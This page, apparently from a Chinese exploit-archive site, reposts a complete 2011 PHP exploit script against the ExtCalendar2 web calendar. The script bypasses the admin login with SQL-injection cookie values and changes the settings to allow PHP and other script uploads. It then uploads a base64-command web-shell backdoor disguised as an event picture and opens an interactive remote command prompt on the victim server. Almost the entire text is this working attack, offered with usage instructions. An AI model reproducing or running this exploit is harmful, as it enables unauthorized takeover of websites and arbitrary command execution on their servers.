首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ExtCalendar2 (Auth Bypass/Cookie) SQL Injection
来源:vfocus.net 作者:Lagripe-Dz 发布时间:2011-07-25  

<?
if(!$argv[1])
die("

Usage   : php exploit.php [site]
Example : php exploit.php http://site.tld/calendar/

");
print_r("

# Exploit....: [ ExtCalendar2 (Auth Bypass/Cookie) SQL Injection ]
# Author.....: [ Lagripe-Dz ]
# Date.......: [ 05-o6-2o11 ]
# Twitter ...: [ @Lagripe_Dz ]
# HoMe ......: [ Sec4Ever.com & Lagripe-Dz.org ]
# Download ..: [ http://sourceforge.net/projects/extcal/ ]
# Video .....: [ http://www.youtube.com/watch?v=2aatog92oqU ]

                      -==[ ExPloiT ]==-
      
javascript:document.cookie=\"ext20_username=admin ' or '1'= '1\";
javascript:document.cookie=\"ext20_password=admin ' or '1'= '1\";

                       -==[ Start ]==-

");

$target = $argv[1];

if(!extension_loaded("curl")){ die("error::cURL extension required"); }

# first get cookie prefix from page source ( xxx_username by default > ext20_username )
preg_match_all('#extcal_cookie_id = "(.*)"#', DzCURL($target,0,0) , $prf);
$prefix = $prf[1][0];

# header ..
$header[] = "Cookie: ".$prefix."_username=admin ' or '1'= '1; ".$prefix."_password=admin ' or '1'= '1;";

# check if it's work by looking for [ logout ]
echo (eregi("logout", DzCURL($target,0,$header))) ? "# Login :D\n":die("# Failed : Can't Login");

# data of new settings with allowed php extension

$new_settings = Array(
    "calendar_name" => "Calendar name","calendar_description" => "Calendar description",
    "calendar_admin_email" => "Calendar Administrator email","cookie_name" => "ext20",
    "cookie_path" => "/","debug_mode" => 1,"calendar_status" => 1,"lang" => "english",
    "charset" => "language-file","theme" => "default","timezone" => 1,"time_format_24hours" => 1,
    "auto_daylight_saving" => 1,"main_table_width" => "50%","day_start" => 1,"default_view" => 1,
    "search_view" => 1,"archive" => 1,"events_per_page" => 5,"sort_order" => "ta",
    "show_recurrent_events" => 1,"multi_day_events" => "all","legend_cat_columns" => 5,
    "allow_user_registration" => 1,"reg_duplicate_emails" => 1,"reg_email_verify" => 1,
    "popup_event_mode" => 1,"popup_event_width" => 1,"popup_event_height" => 1,
    "add_event_view" => 1,"addevent_allow_html" => 1,"addevent_allow_contact" => 1,
    "addevent_allow_email" => 1,"addevent_allow_url" => 1,"addevent_allow_picture" => 1,
    "new_post_notification" => 1,"monthly_view" => 1,"cal_view_show_week" => 1,
    "cal_view_max_chars" => 100,"flyer_view" => 1,"flyer_show_picture" => 1,
    "flyer_view_max_chars" => 100,"weekly_view" => 1,"weekly_view_max_chars" => 100,
    "daily_view" => 1,"daily_view_max_chars" => 100,"cats_view" => 1,"cats_view_max_chars" => 100,
    "mini_cal_def_picture" => 1,"mini_cal_diplay_options" => "default","mail_method" => "smtp",
    "mail_smtp_host" => 0,"mail_smtp_auth" => 1,"mail_smtp_username" => 0,"mail_smtp_password" => 0,
    "max_upl_dim" => 99999999999999999,"max_upl_size" => 99999999999999999,"picture_chmod" => 755,
    "allowed_file_extensions" => "PHP/PY/PERL/HTACCESS/ASP/ASPX","update_config" => "Save New Configuration");
 
# post data and check if settings updated and php added
echo (eregi("<strong>.*</strong>", DzCURL($target."admin_settings.php",$new_settings,$header))) ? "# Settings Updated :D\n":die("# Failed : can't update settings");

# get event id for connect 2 backdoor
$events = DzCURL($target."admin_events.php?eventfilter=0",0,$header);
preg_match_all('#edit&id=(:?[0-9]+)#' ,$events ,$r );

# backdoor xD

$bd = "<?
echo Exe(base64_decode(\$_GET[dz]));
function Exe(\$command)
{
 if(function_exists('passthru')){\$exec = passthru(\$command);}
 elseif(function_exists('system') && !\$exec){\$exec= system(\$command); }
 elseif(function_exists('exec') && !\$exec){exec(\$command,\$output);\$exec=join(\"\n\",\$output);}
 elseif(function_exists('shell_exec') && !\$exec){\$exec=shell_exec(\$command);}
 elseif(function_exists('popen') && !\$exec){\$fp = popen(\$command,\"r\");
 {while(!feof(\$fp)){\$result.=fread(\$fp,1024);}pclose(\$fp);}\$exec = convert_cyr_string(\$result,\"d\",\"w\");}
 elseif(function_exists('win_shell_execute') && !\$exec){\$exec = winshell(\$command);}
 elseif(function_exists('win32_create_service') && !\$exec){\$exec=srvshell(\$command);}
 elseif(extension_loaded('ffi') && !\$exec){\$exec=ffishell(\$command);}
 elseif(extension_loaded('perl') && !\$exec){\$exec=perlshell(\$command);}
 elseif(!\$exec) {\$exec = slashBypass(\$command);}
 elseif(!\$exec && extension_loaded('python'))
 {\$exec = python_eval(\"import os
 pwd = os.getcwd()
 print pwd
 os.system('\".\$command.\"')\");}
 elseif(\$exec){return \$exec;}
}
?>";
# make bd
file_put_contents("dz.php",$bd);

# new event with php backdoor
$post_bd = array(
   "mode"=>"edit","id"=>$r[1][0],"title"=>"blabla",
    "description"=>"bla bla bla ,,,","cat"=> 1,
    "day"=> 22,"month"=> 11,"year"=>2011,
    "picture"=>"@".realpath("dz.php"),
    "submit"=>"&nbsp;&nbsp;Update Event&nbsp;&nbsp;");

# post backdoor & check
echo (!eregi("<strong>Errors</strong>", DzCURL($target."admin_events.php",$post_bd,$header))) ? "# Backdoor uploaded :D\n":die("# Failed : can't upload Backdoor");

@unlink("dz.php"); # del backdoor after uploading

# looking for backdoor
preg_match_all('#upload/(:?[a-z0-9]+)_dz.php#' ,DzCURL($target."admin_events.php?mode=view&id=".$r[1][0],0,$header) ,$r2 );

echo (!$r2[0][0]) ? die("# Failed : Backdoor not found !"):"";

# connecting with backdoor :P
while(1) {
        fwrite(STDOUT, "\ncmd~# ");
  // (trim((fgets(STDIN))) == "exit") ? exit:""; // exit from loop
        $cmd = base64_encode(trim((fgets(STDIN))));
 echo DzCURL($target.$r2[0][0]."?dz=".$cmd ,0,0);
    }

# function ...  
 
function DzCURL($url,$posts ,$header){

$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
if(is_array($header)){
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
}
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 DzCURL =)');
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
if(is_array($posts)){
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,$posts);
}
curl_setopt($curl,CURLOPT_TIMEOUT,5);

$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
# _EOF
?>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Kingsoft AntiVirus 2012 KisKrn
·Download Accelerator plus (DAP
·Win32 / Windows7 Sp1 - rename
·OSX universal ROP shellcode
·win32/ 7 sp1 MessageBox
·MPlayer Lite r33064 m3u Buffer
·Microsoft Internet Explorer to
·Ciscokits 1.0 TFTP Denial Of S
·Linux x86 egghunt shellcode
·SLP (Service Location Protocol
·Dell IT Assistant detectIESett
·Ciscokits 1.0 TFTP Server File
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved